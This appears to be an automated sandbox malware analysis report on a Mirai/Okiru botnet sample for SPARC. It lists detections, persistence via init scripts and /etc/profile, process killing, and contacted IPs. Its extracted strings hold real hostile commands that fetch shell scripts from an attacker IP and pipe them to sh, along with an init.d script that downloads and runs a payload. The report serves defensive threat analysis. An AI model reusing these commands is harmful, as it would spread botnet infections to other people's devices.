Linux Analysis Report
sparc.nn.elf

Overview

General Information

Sample name: sparc.nn.elf
Analysis ID: 1561640
MD5: 8bd5f4457b5955ece7fab620c85bcaeb
SHA1: c7211d811098e7e82ea41d3c731f8203e0dd75ee
SHA256: cc3f90737f48f9c0d6df64548d769cd8b5a0dc65fcb81441f1880e1774132f30
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: sparc.nn.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: sparc.nn.elf String: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: sparc.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40284 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59526 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/sparc.nn.elf (PID: 5419) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 122.64.235.96
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 221.208.134.98
Source: unknown TCP traffic detected without corresponding DNS query: 32.225.245.132
Source: unknown TCP traffic detected without corresponding DNS query: 48.35.239.19
Source: unknown TCP traffic detected without corresponding DNS query: 152.227.213.89
Source: unknown TCP traffic detected without corresponding DNS query: 57.178.60.255
Source: unknown TCP traffic detected without corresponding DNS query: 19.193.83.206
Source: unknown TCP traffic detected without corresponding DNS query: 122.64.235.96
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 42.219.61.213
Source: unknown TCP traffic detected without corresponding DNS query: 221.208.134.98
Source: unknown TCP traffic detected without corresponding DNS query: 32.225.245.132
Source: unknown TCP traffic detected without corresponding DNS query: 220.66.221.109
Source: unknown TCP traffic detected without corresponding DNS query: 48.35.239.19
Source: unknown TCP traffic detected without corresponding DNS query: 152.227.213.89
Source: unknown TCP traffic detected without corresponding DNS query: 117.87.64.222
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: sparc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr, sparc.nn.elf.36.dr String found in binary or memory: http://193.143.1.70/
Source: sparc.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: sparc.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: sparc.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/sbin/reboot/usr/sbin/reboot/bin/reboot/usr/bin/reboot/sbin/shutdown/usr/s
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswire
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5433) SIGKILL sent: pid: 5468, result: successful Jump to behavior
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/11@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/sparc.nn.elf (PID: 5419) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/sparc.nn.elf (PID: 5419) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5496) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5539) File: /etc/rc.d/S99sparc.nn.elf -> /etc/init.d/sparc.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/sparc.nn.elf (PID: 5419) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5493) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5527) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5262/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5682/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5640/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5717/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5718/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5719/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5698/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5699/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5710/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5711/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5712/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5713/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5637/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5714/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5638/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5715/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5639/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5716/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5670/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5671/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5672/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5694/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5673/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5695/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5674/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5696/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5675/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5697/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5665/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5720/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5666/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5721/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5667/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5700/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5722/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5668/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5701/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5723/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5669/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5702/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5724/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5703/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5725/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5566) File opened: /proc/5726/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/sparc.nn.elf (PID: 5453) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5490) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5494) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5497) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sparc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sparc.nn.elf'\n /tmp/sparc.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sparc.nn.elf'\n killall sparc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sparc.nn.elf" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5520) Shell command executed: sh -c "chmod +x /etc/init.d/sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5528) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 5534) Shell command executed: sh -c "ln -s /etc/init.d/sparc.nn.elf /etc/rc.d/S99sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5493) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5527) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sparc.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5533) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5465) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/sparc.nn.elf (PID: 5419) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5493) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5527) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/sparc.nn.elf (PID: 5419) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/sparc.nn.elf (PID: 5419) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5497) Writes shell script file to disk with an unusual file extension: /etc/init.d/sparc.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/sparc.nn.elf (PID: 5419) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5497) File: /etc/init.d/sparc.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/sparc.nn.elf (PID: 5419) Queries kernel information via 'uname': Jump to behavior
Source: sparc.nn.elf, 5419.1.000055dbee263000.000055dbee2e9000.rw-.sdmp, sparc.nn.elf, 5433.1.000055dbee263000.000055dbee2e9000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 5419.1.000055dbee263000.000055dbee2e9000.rw-.sdmp, sparc.nn.elf, 5433.1.000055dbee263000.000055dbee2e9000.rw-.sdmp Binary or memory string: Uc/qemu-binfmtX
Source: sparc.nn.elf, 5419.1.000055dbee263000.000055dbee2e9000.rw-.sdmp, sparc.nn.elf, 5433.1.000055dbee263000.000055dbee2e9000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp, sparc.nn.elf, 5433.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp Binary or memory string: Vx86_64/usr/bin/qemu-sparc/tmp/sparc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.nn.elf
Source: sparc.nn.elf, 5419.1.000055dbee263000.000055dbee2e9000.rw-.sdmp, sparc.nn.elf, 5433.1.000055dbee263000.000055dbee2e9000.rw-.sdmp Binary or memory string: c/qemu-binfmtX
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp, sparc.nn.elf, 5433.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: sparc.nn.elf, 5433.1.00007fb6ac03e000.00007fb6ac042000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.qwF0jZ\
Source: sparc.nn.elf, 5433.1.000055dbee263000.000055dbee2e9000.rw-.sdmp Binary or memory string: U!/usr/bin/vmtoolsd
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp Binary or memory string: /tmp/qemu-open.qwF0jZ
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp, sparc.nn.elf, 5433.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp, sparc.nn.elf, 5433.1.00007fb6ac042000.00007fb6ac047000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: sparc.nn.elf, 5419.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp, sparc.nn.elf, 5433.1.00007ffd02c0e000.00007ffd02c2f000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 5419.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5433.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 5419.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5433.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 5419, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 5433, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 5419.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5433.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 5419.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5433.1.00007fb6ac011000.00007fb6ac02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 5419, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 5433, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
9.33.78.169
 unknown United States
3356 LEVEL3US false
195.208.182.219
 unknown Russian Federation
205822 DEVINOTELECOM-ASRU false
28.70.254.68
 unknown United States
7922 COMCAST-7922US false
40.108.225.161
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
51.95.14.30
 unknown United States
2686 ATGS-MMD-ASUS false
132.57.222.20
 unknown United States
385 AFCONC-BLOCK1-ASUS false
161.240.122.33
 unknown United States
396269 BPL-ASNUS false
158.99.56.141
 unknown Spain
766 REDIRISRedIRISAutonomousSystemES false
33.166.38.99
 unknown United States
2686 ATGS-MMD-ASUS false
49.8.172.31
 unknown Korea Republic of
9858 KRNICNETKoreaInternetSecurityAgencyKR false
215.120.136.136
 unknown United States
721 DNIC-ASBLK-00721-00726US false
83.20.34.82
 unknown Poland
5617 TPNETPL false
106.181.225.172
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
188.74.214.70
 unknown Romania
208068 AGO-ASNRO false
74.120.246.134
 unknown United States
30063 DEDICONETUS false
87.81.4.161
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
53.210.90.39
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
185.228.245.179
 unknown Iran (ISLAMIC Republic Of)
62235 GRUPOINFOSHOPES false
200.148.75.61
 unknown Brazil
27699 TELEFONICABRASILSABR false
11.164.103.186
 unknown United States
3356 LEVEL3US false
15.17.153.75
 unknown United States
13979 ATT-IPFRUS false
70.121.12.70
 unknown United States
11427 TWC-11427-TEXASUS false
139.80.236.235
 unknown New Zealand
38305 OTAGO-UNIVERSITY-AS-NZ-APTheUniversityofOtagoNZ false
171.151.208.132
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
120.6.62.252
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
170.223.80.198
 unknown United States
40831 PHSUS false
171.124.243.127
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
181.47.141.63
 unknown Argentina
27747 TelecentroSAAR false
137.109.204.40
 unknown Australia
703 UUNETUS false
33.248.11.83
 unknown United States
2686 ATGS-MMD-ASUS false
203.31.156.239
 unknown Australia
136994 SOUTHERNPHONE-AS-APSouthernPhoneCompanyLtdAU false
78.246.96.46
 unknown France
12322 PROXADFR false
117.18.58.175
 unknown Singapore
7473 SINGTEL-AS-APSingaporeTelecommunicationsLtdSG false
189.43.27.5
 unknown Brazil
4230 CLAROSABR false
76.240.166.49
 unknown United States
7018 ATT-INTERNET4US false
119.169.7.192
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
102.70.149.13
 unknown Malawi
37294 TNMMW false
80.236.254.51
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
15.239.48.129
 unknown United States
16509 AMAZON-02US false
169.24.175.126
 unknown United States
37611 AfrihostZA false
172.249.137.31
 unknown United States
20001 TWC-20001-PACWESTUS false
104.11.247.191
 unknown United States
7018 ATT-INTERNET4US false
4.93.103.116
 unknown United States
3356 LEVEL3US false
108.191.65.100
 unknown United States
33363 BHN-33363US false
8.252.172.161
 unknown United States
3356 LEVEL3US false
68.144.136.187
 unknown Canada
6327 SHAWCA false
134.124.75.249
 unknown United States
46832 UNIVERSITY-OF-MISSOURI-SYSTEM-INTER-CAMPUS-NETWORKUS false
33.153.177.65
 unknown United States
2686 ATGS-MMD-ASUS false
101.27.113.92
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
50.178.43.182
